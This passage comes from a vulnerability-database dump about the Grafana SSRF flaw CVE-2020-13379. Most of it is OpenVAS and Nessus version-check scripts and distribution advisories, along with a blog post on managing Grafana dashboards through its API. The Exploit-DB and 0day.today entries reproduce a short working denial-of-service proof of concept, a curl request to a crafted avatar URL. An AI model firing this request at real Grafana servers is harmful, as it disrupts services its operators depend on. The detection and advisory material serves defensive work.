\"cpe:/a:grafana:grafana\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.144077\");\n script_version(\"2020-06-19T07:07:49+0000\");\n script_tag(name:\"last_modification\", value:\"2020-06-19 07:07:49 +0000 (Fri, 19 Jun 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-06-08 04:13:50 +0000 (Mon, 08 Jun 2020)\");\n script_tag(name:\"cvss_base\", value:\"6.4\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n\n script_cve_id(\"CVE-2020-13379\");\n\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_name(\"Grafana 3.0.1 < 6.7.4, 7.0 < 7.0.2 SSRF Vulnerability\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_grafana_http_detect.nasl\");\n script_mandatory_keys(\"grafana/detected\");\n\n script_tag(name:\"summary\", value:\"Grafana is prone to a server-side request forgery vulnerability.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"The avatar feature in Grafana has an SSRF Incorrect Access Control issue.\n This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and\n return its result to the user/client. This can be used to gain information about the network that Grafana is\n running on.\");\n\n script_tag(name:\"affected\", value:\"Grafana versions 3.0.1 - 7.0.1.\");\n\n script_tag(name:\"solution\", value:\"Update to version 6.7.4, 7.0.2 or later.\");\n\n script_xref(name:\"URL\", value:\"https://community.grafana.com/t/grafana-7-0-2-and-6-7-4-security-update/31408\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!infos = get_app_version_and_location(cpe: CPE, port: port, exit_no_version: TRUE))\n exit(0);\n\nversion = infos[\"version\"];\nlocation = infos[\"location\"];\n\nif (version_in_range(version: version, test_version: \"3.0.1\", test_version2: \"6.7.3\")) {\n report = report_fixed_ver(installed_version: version, fixed_version: \"6.7.4\", install_path: location);\n security_message(port: port, data: report);\n exit(0);\n}\n\nif (version_in_range(version: version, test_version: \"7.0\", test_version2: \"7.0.1\")) {\n report = report_fixed_ver(installed_version: version, fixed_version: \"7.0.2\", install_path: location);\n security_message(port: port, data: report);\n exit(0);\n}\n\nexit(99);\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-06-25T13:46:04", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-12459", "CVE-2020-13379", "CVE-2020-12458"], "description": "The remote host is missing an update for the ", "modified": "2020-06-24T00:00:00", "published": "2020-06-23T00:00:00", "id": "OPENVAS:1361412562310877964", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310877964", "type": "openvas", "title": "Fedora: Security Advisory for grafana (FEDORA-2020-a09e5be0be)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.877964\");\n script_version(\"2020-06-24T03:42:18+0000\");\n script_cve_id(\"CVE-2020-13379\", \"CVE-2020-12458\", \"CVE-2020-12459\");\n script_tag(name:\"cvss_base\", value:\"6.4\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-06-24 03:42:18 +0000 (Wed, 24 Jun 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-06-23 03:19:23 +0000 (Tue, 23 Jun 2020)\");\n script_name(\"Fedora: Security Advisory for grafana (FEDORA-2020-a09e5be0be)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC32\");\n\n script_xref(name:\"FEDORA\", value:\"2020-a09e5be0be\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EEKSZ6GE4EDOFZ23NGYWOCMD6O4JF5SO\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'grafana'\n package(s) announced via the FEDORA-2020-a09e5be0be advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Grafana is an open source, feature rich metrics dashboard and graph editor for\nGraphite, InfluxDB & OpenTSDB.\");\n\n script_tag(name:\"affected\", value:\"'grafana' package(s) on Fedora 32.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC32\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"grafana\", rpm:\"grafana~6.7.4~1.fc32\", rls:\"FC32\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-07-21T19:30:38", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-12245", "CVE-2019-15043", "CVE-2020-13379"], "description": "The remote host is missing an update for the ", "modified": "2020-06-30T00:00:00", "published": "2020-06-29T00:00:00", "id": "OPENVAS:1361412562310853237", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310853237", "type": "openvas", "title": "openSUSE: Security Advisory for grafana, (openSUSE-SU-2020:0892-1)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.853237\");\n script_version(\"2020-06-30T06:18:22+0000\");\n script_cve_id(\"CVE-2019-15043\", \"CVE-2020-12245\", \"CVE-2020-13379\");\n script_tag(name:\"cvss_base\", value:\"6.4\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-06-30 06:18:22 +0000 (Tue, 30 Jun 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-06-29 03:00:57 +0000 (Mon, 29 Jun 2020)\");\n script_name(\"openSUSE: Security Advisory for grafana, (openSUSE-SU-2020:0892-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap15\\.2\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2020:0892-1\");\n script_xref(name:\"URL\", value:\"http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00060.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'grafana, '\n package(s) announced via the openSUSE-SU-2020:0892-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for grafana, grafana-piechart-panel, grafana-status-panel\n fixes the following issues:\n\n grafana was updated to version 7.0.3:\n\n * Features / Enhancements\n\n - Stats: include all fields. #24829, @ryantxu\n\n - Variables: change VariableEditorList row action Icon to IconButton.\n #25217, @hshoff\n\n * Bug fixes\n\n - Cloudwatch: Fix dimensions of DDoSProtection. #25317, @papagian\n\n - Configuration: Fix env var override of sections containing hyphen.\n #25178, @marefr\n\n - Dashboard: Get panels in collapsed rows. #25079, @peterholmberg\n\n - Do not show alerts tab when alerting is disabled. #25285, @dprokop\n\n - Jaeger: fixes cascader option label duration value. #25129, @Estrax\n\n - Transformations: Fixed Transform tab crash & no update after adding\n first transform. #25152, @torkelo\n\n Update to version 7.0.2\n\n * Bug fixes\n\n - Security: Urgent security patch release to fix CVE-2020-13379\n\n Update to version 7.0.1\n\n * Features / Enhancements\n\n - Datasource/CloudWatch: Makes CloudWatch Logs query history more\n readable. #24795, @kaydelaney\n\n - Download CSV: Add date and time formatting. #24992, @ryantxu\n\n - Table: Make last cell value visible when right aligned. #24921,\n @peterholmberg\n\n - TablePanel: Adding sort order persistence. #24705, @torkelo\n\n - Transformations: Display correct field name when using reduce\n transformation. #25068, @peterholmberg\n\n - Transformations: Allow custom number input for binary operations.\n #24752, @ryantxu\n\n * Bug fixes\n\n - Dashboard/Links: Fixes dashboard links by tags not working. #24773,\n @KamalGalrani\n\n - Dashboard/Links: Fixes open in new window for dashboard link. #24772,\n @KamalGalrani\n\n - Dashboard/Links: Variables are resolved and limits to 100. #25076,\n @hugohaggmark\n\n - DataLinks: Bring back variables interpolation in title. #24970,\n @dprokop\n\n - Datasource/CloudWatch: Field suggestions no longer limited to\n prefix-only. #24855, @kaydelaney\n\n - Explore/Table: Keep existing field types if possible. #24944,\n @kaydelaney\n\n - Explore: Fix wrap lines toggle for results of queries with filter\n expression. #24915, @ivanahuckova\n\n - Explore: fix undo in query editor. #24797, @zoltanbedi\n\n - Explore: fix word break in type head info. #25014, @zoltanbedi\n\n - Graph: Legend decimals now work as expected. #24931, @torkelo\n\n - LoginPage: Fix hover color for service buttons. #25009, @tskarhed\n\n - LogsPanel: Fix scrollbar. #24850, @ivanahuckova\n\n - MoveDashboard: Fix for moving dashboard caused all variables to be\n lost. #25005, @torkelo\n\n - Organize transformer: Use display name in field order comparer.\n #24984, @dprokop\n\n - Panel: ...\n\n Description truncated. Please see the references for more information.\");\n\n script_tag(name:\"affected\", value:\"'grafana, ' package(s) on openSUSE Leap 15.2.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap15.2\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"grafana\", rpm:\"grafana~7.0.3~lp152.2.3.1\", rls:\"openSUSELeap15.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"grafana-debuginfo\", rpm:\"grafana-debuginfo~7.0.3~lp152.2.3.1\", rls:\"openSUSELeap15.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"grafana-piechart-panel\", rpm:\"grafana-piechart-panel~1.4.0~lp152.2.3.1\", rls:\"openSUSELeap15.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"grafana-status-panel\", rpm:\"grafana-status-panel~1.0.9~lp152.2.3.1\", rls:\"openSUSELeap15.2\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-06-25T13:44:36", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-12459", "CVE-2019-15043", "CVE-2020-13379", "CVE-2020-12458"], "description": "The remote host is missing an update for the ", "modified": "2020-06-24T00:00:00", "published": "2020-06-23T00:00:00", "id": "OPENVAS:1361412562310877981", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310877981", "type": "openvas", "title": "Fedora: Security Advisory for grafana (FEDORA-2020-e6e81a03d6)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.877981\");\n script_version(\"2020-06-24T03:42:18+0000\");\n script_cve_id(\"CVE-2020-13379\", \"CVE-2020-12458\", \"CVE-2020-12459\", \"CVE-2019-15043\");\n script_tag(name:\"cvss_base\", value:\"6.4\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-06-24 03:42:18 +0000 (Wed, 24 Jun 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-06-23 03:19:55 +0000 (Tue, 23 Jun 2020)\");\n script_name(\"Fedora: Security Advisory for grafana (FEDORA-2020-e6e81a03d6)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC31\");\n\n script_xref(name:\"FEDORA\", value:\"2020-e6e81a03d6\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/O2KSCCGKNEENZN3DW7TSPFBBUZH3YZXZ\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'grafana'\n package(s) announced via the FEDORA-2020-e6e81a03d6 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Grafana is an open source, feature rich metrics dashboard and graph editor for\nGraphite, InfluxDB & OpenTSDB.\");\n\n script_tag(name:\"affected\", value:\"'grafana' package(s) on Fedora 31.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC31\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"grafana\", rpm:\"grafana~6.7.4~1.fc31\", rls:\"FC31\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "exploitdb": [{"lastseen": "2020-07-06T12:26:11", "description": "", "published": "2020-07-06T00:00:00", "type": "exploitdb", "title": "Grafana 7.0.1 - Denial of Service (PoC)", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-13379"], "modified": "2020-07-06T00:00:00", "id": "EDB-ID:48638", "href": "https://www.exploit-db.com/exploits/48638", "sourceData": "# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)\r\n# Date: 2020-05-23\r\n# Exploit Author: mostwanted002\r\n# Vendor Homepage: https://grafana.com/\r\n# Software Link: https://grafana.com/grafana/download\r\n# Version: 3.0.1 - 7.0.1\r\n# Tested on: Linux\r\n# CVE : CVE-2020-13379\r\n\r\n#!/bin/bash\r\n\r\nif [[ $1 != \"\" ]]; then\r\n curl -I \"${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D\"\r\nelse\r\n echo \"Usage: grafana-dos.sh <TARGET>. Example: grafana-dos.sh http://localhost:3000\"\r\nfi", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}, "sourceHref": "https://www.exploit-db.com/download/48638"}], "zdt": [{"lastseen": "2020-07-19T16:07:47", "description": "Exploit for linux platform in category dos / poc", "edition": 1, "published": "2020-07-07T00:00:00", "title": "Grafana 7.0.1 - Denial of Service Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-13379"], "modified": "2020-07-07T00:00:00", "id": "1337DAY-ID-34640", "href": "https://0day.today/exploit/description/34640", "sourceData": "# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)\r\n# Exploit Author: mostwanted002\r\n# Vendor Homepage: https://grafana.com/\r\n# Software Link: https://grafana.com/grafana/download\r\n# Version: 3.0.1 - 7.0.1\r\n# Tested on: Linux\r\n# CVE : CVE-2020-13379\r\n\r\n#!/bin/bash\r\n\r\nif [[ $1 != \"\" ]]; then\r\n curl -I \"${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D\"\r\nelse\r\n echo \"Usage: grafana-dos.sh <TARGET>. Example: grafana-dos.sh http://localhost:3000\"\r\nfi\n\n# 0day.today [2020-07-19] #", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}, "sourceHref": "https://0day.today/exploit/34640"}], "avleonov": [{"lastseen": "2020-08-07T08:03:36", "bulletinFamily": "blog", "cvelist": ["CVE-2020-13379"], "description": "I have been a Splunk guy for quite some time, 4 years or so. I have made several blog posts describing how to work with Splunk in automated manner ([see in appendix](<https://avleonov.com/wp-admin/post.php?post=5222&action=edit#My-Splunk-posts>)). But after their decision to [stop their business in Russia last year](<https://t.me/avleonovcom/513>), including customer support and selling software and services, it was just a matter of time for me to start working with other dashboarding tools.\n\n\n\nFor me, Grafana has become such a tool. In this post I want to describe the basic API operations with Grafana dashboards, which are necessary if you need to create and update dozens and hundreds of dashboards. Doing all this in the GUI will be painful. Grafana has a pretty logical and [well-documented API](<https://grafana.com/docs/grafana/latest/http_api/>). The only tricky moments I had were getting a list of all dashboard and editing an existing dashboard.\n\n## Vulnerability\n\nBut let's start with the news about CVE-2020-13379 vulnerability. This is a Server-side request forgery (SSRF) vulnerability in the Grafana avatar feature. SSRF means that an attacker can force a server-side application to make HTTP requests to an arbitrary domain. For example this attacker can discover the network where Grafana is running on and attack other active services. This vulnerability exists in Grafana 3.0.1 through 7.0.1, authentication is not required. This especially important for Grafana instances exposed to the internet. So, if your organization uses Grafana, it may be worth checking out its version and patch it. See more on [NVD](<https://nvd.nist.gov/vuln/detail/CVE-2020-13379>) and [Grafana website](<https://grafana.com/blog/2020/06/03/grafana-6.7.4-and-7.0.2-released-with-important-security-fix/>).\n\nAnd now let's go to API usage.\n\n## Authentication\n\nThe procedure of getting authentication token for the API in Grafana is pretty straightforward. You simply open the "Configuration" section of the menu and select "API Keys".\n\n\n\nThen you click the "New API Key" button.\n\n\n\nYou may set the name of the key, role (I chose the maximum privilege - Admin) and time to live (I set it 10 years).\n\n\n\nThen, the system generated a key with a good curl example that returns the description of the Home dashboard.\n\n\n\n## Getting the dashboard code\n\nTo test the key I rewrote this curl example in Python. By default, I get the description of the home dashboard, but you can get it for any other dashboard if you know the UID (by` \"/api/dashboards/uid/\" + uid`)\n \n \n import requests\n import json\n server = \"https://<your_server>/grafana\"\n # Example 1: Get default Home dashboard:\n url = server + \"/api/dashboards/home\"\n # To get the dashboard by uid\n # url = server + \"/api/dashboards/uid/\" + uid\n headers = {\"Authorization\":\"Bearer #####API_KEY#####\"}\n r = requests.get(url = url, headers = headers, verify=False)\n print(r.json())\n\nOutput:\n \n \n {'meta': {'isHome': True, 'canSave': False, 'canEdit': True, 'canAdmin': False,...\n\n## Creating a new dashboard\n\nTo create a new dashboard, I took the minimal json describing the "Production Overview" dashboard and made a simple post request. As a result, I get the dashboard UID.\n \n \n url = server + \"/api/dashboards/db\"\n headers = {\n \"Authorization\":\"Bearer #####API_KEY#####\",\n \"Content-Type\":\"application/json\",\n \"Accept\": \"application/json\"\n }\n new_dashboard_data = {\n \"dashboard\": {\n \"id\": None,\n \"uid\": None,\n \"title\": \"Production Overview\",\n \"tags\": [ \"templated\" ],\n \"timezone\": \"browser\",\n \"schemaVersion\": 16,\n \"version\": 0\n },\n \"folderId\": 0,\n \"overwrite\": False\n }\n r = requests.post(url = url, headers = headers, data = json.dumps(new_dashboard_data), verify=False)\n print(r.json())\n\nOutput:\n \n \n {'id': 172, 'slug': 'production-overview', 'status': 'success', 'uid': 'DoZVWjzGz', 'url': '/grafana/d/DoZVWjzGz/production-overview', 'version': 1}\n\nAnd here is this dashboard in the GUI:\n\n\n\n## Getting all dashboard UIDs\n\nWell, getting all dashboard UIDs is less intuitive. There is no method to list dashboards, but you can do an empty search request and get dashboards from the results.\n \n \n url = server + \"/api/search?query=%\"\n headers = {\n \"Authorization\":\"Bearer #####API_KEY#####\",\n \"Content-Type\":\"application/json\",\n \"Accept\": \"application/json\"\n }\n r = requests.get(url = url, headers = headers, verify=False)\n for item in r.json():\n if item['type'] == 'dash-db':\n print(item)\n\nOutput:\n \n \n {'id': 172, 'uid': 'DoZVWjzGz', 'title': 'Production Overview', 'uri': 'db/production-overview', 'url': '/grafana/d/DoZVWjzGz/production-overview', 'slug': '', 'type': 'dash-db', 'tags': ['templated'], 'isStarred': False}\n\nAnd you can easily make title2uid dict from the found items.\n\n## Deleting dashboard \n\nDeleting dashboards is similar to getting, but the method is DELETE. In example I delete the dashboard with given UID "DoZVWjzGz".\n \n \n uid = \"DoZVWjzGz\"\n url = server + \"/api/dashboards/uid/\" + uid\n headers = {\n \"Authorization\":\"Bearer #####API_KEY#####\",\n \"Content-Type\":\"application/json\",\n \"Accept\": \"application/json\"\n }\n r = requests.delete(url = url, headers = headers, verify=False)\n print(r.json())\n\nOutput:\n \n \n {'message': 'Dashboard Production Overview deleted', 'title': 'Production Overview'}\n\n## Updating dashboard\n\nThe most difficult part is editing or updating an existing dashboard. Why you may need this if you can just delete and create a new one? Well, this new one will have new UID and the UID is in the dashboard's URL. This means that if you give the URL to your colleague, it won't work if you delete dashboard and create a new one with the same title. So, the update operation is necessary. In the example, I get data for an existing dashboard by UID, extract it's `id` and `version`. Then I get the minimal data for the dashboard, set `id`, `uid`, incremented version and set `overwrite` parameter to true. Then I make the same request as for creating a new dashboard. \n \n \n import copy\n headers = {\n \"Authorization\":\"Bearer #####API_KEY#####\",\n \"Content-Type\":\"application/json\",\n \"Accept\": \"application/json\"\n }\n new_dashboard_data = {\n \"dashboard\": {\n \"id\": None,\n \"uid\": None,\n \"title\": \"Production Overview\",\n \"tags\": [ \"templated\" ],\n \"timezone\": \"browser\",\n \"schemaVersion\": 16,\n \"version\": 0\n },\n \"folderId\": 0,\n \"overwrite\": False\n }\n # Let's say you have uid\n uid = \"V6Co1jzGz\"\n # get the content of dashboard from the example above\n url = server + \"/api/dashboards/uid/\" + uid\n r = requests.get(url=url, headers=headers, verify=False)\n dash_data = r.json()\n import copy\n dashboard_data = copy.deepcopy(new_dashboard_data)\n dashboard_data[\"dashboard\"]['id'] = dash_data['dashboard']['id']\n dashboard_data[\"dashboard\"]['uid'] = uid\n dashboard_data[\"dashboard\"]['version'] = dash_data['dashboard']['version'] + 1\n dashboard_data[\"overwrite\"] = True\n url = server + \"/api/dashboards/db\"\n r = requests.post(url=url, headers=headers, data=json.dumps(dashboard_data), verify=False)\n print(r.json())\n\nOutput:\n \n \n {'id': 185, 'slug': 'production-overview', 'status': 'success', 'uid': 'V6Co1jzGz', 'url': '/grafana/d/V6Co1jzGz/production-overview', 'version': 6}\n\nThat's all for today. I hope this was helpful. Another big question is how to manage the panels in dashboards, but I'm going to describe this next time.\n\n## Appendix 1. My Splunk posts\n\n * [Retrieving data from Splunk Dashboard Panels via API](<https://avleonov.com/2019/02/07/retrieving-data-from-splunk-dashboard-panels-via-api/>)\n * [Creating Splunk Alerts using API](<https://avleonov.com/2019/01/17/creating-splunk-alerts-using-api/>)\n * [Accelerating Splunk Dashboards with Base Searches and Saved Searches](<https://avleonov.com/2018/10/21/accelerating-splunk-dashboards-with-base-searches-and-saved-searches/>)\n * [How to create and manage Splunk dashboards via API](<https://avleonov.com/2018/09/27/how-to-create-and-manage-splunk-dashboards-via-api/>)\n * [Asset Inventory for Internal Network: problems with Active Scanning and advantages of Splunk](<https://avleonov.com/2018/08/20/asset-inventory-for-internal-network-problems-with-active-scanning-and-advantages-of-splunk/>)\n * [Sending tables from Atlassian Confluence to Splunk](<https://avleonov.com/2018/08/04/sending-tables-from-atlassian-confluence-to-splunk/>)\n * [Sending FireEye HX data to Splunk](<https://avleonov.com/2018/07/29/sending-fireeye-hx-data-to-splunk/>)\n * [How to correlate different events in Splunk and make dashboards](<https://avleonov.com/2018/07/19/how-to-correlate-different-events-in-splunk-and-make-dashboards/>)\n * [Making Splunk searches using REST API](<https://avleonov.com/2017/04/03/making-splunk-searches-using-rest-api/>)\n * [Tracking software versions using Nessus and Splunk](<https://avleonov.com/2017/03/21/tracking-software-versions-using-nessus-and-splunk/>)\n * [Export anything to Splunk with HTTP Event Collector](<https://avleonov.com/2016/08/23/export-anything-to-splunk-with-http-event-collector/>)\n * [Exporting Nessus scan results to Splunk](<https://avleonov.com/2016/08/18/exporting-nessus-scan-results-to-splunk/>)\n\n", "modified": "2020-06-10T00:46:05", "published": "2020-06-10T00:46:05", "id": "AVLEONOV:8D88294824DE33106DA78BF53C68AEB6", "href": "http://feedproxy.google.com/~r/avleonov/~3/5mOSCv1Ujgc/", "type": "avleonov", "title": "How to list, create, update and delete Grafana dashboards via API", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "nessus": [{"lastseen": "2020-09-14T17:30:48", "description": "From Red Hat Security Advisory 2020:2641 :\n\nThe remote Redhat Enterprise Linux 8 host has packages installed that are affected by a vulnerability as referenced in\nthe RHSA-2020:2641 advisory.\n\n - grafana: SSRF incorrect access control vulnerability\n allows unauthenticated users to make grafana send HTTP\n requests to any URL (CVE-2020-13379)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.", "edition": 3, "cvss3": {"score": 8.2, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}, "published": "2020-06-24T00:00:00", "title": "Oracle Linux 8 : grafana (ELSA-2020-2641)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-13379"], "modified": "2020-06-24T00:00:00", "cpe": ["p-cpe:/a:oracle:linux:grafana-loki", "p-cpe:/a:oracle:linux:grafana-elasticsearch", "p-cpe:/a:oracle:linux:grafana-opentsdb", "p-cpe:/a:oracle:linux:grafana-postgres", "p-cpe:/a:oracle:linux:grafana-graphite", "p-cpe:/a:oracle:linux:grafana-mssql", "p-cpe:/a:oracle:linux:grafana", "cpe:/o:oracle:linux:8", "p-cpe:/a:oracle:linux:grafana-azure-monitor", "p-cpe:/a:oracle:linux:grafana-stackdriver", "p-cpe:/a:oracle:linux:grafana-prometheus", "p-cpe:/a:oracle:linux:grafana-mysql", "p-cpe:/a:oracle:linux:grafana-cloudwatch", "p-cpe:/a:oracle:linux:grafana-influxdb"], "id": "ORACLELINUX_ELSA-2020-2641.NASL", "href": "https://www.tenable.com/plugins/nessus/137771", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2020:2641 and \n# Oracle Linux Security Advisory ELSA-2020-2641 respectively.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(137771);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/06/29\");\n\n script_cve_id(\"CVE-2020-13379\");\n script_xref(name:\"RHSA\", value:\"2020:2641\");\n\n script_name(english:\"Oracle Linux 8 : grafana (ELSA-2020-2641)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n 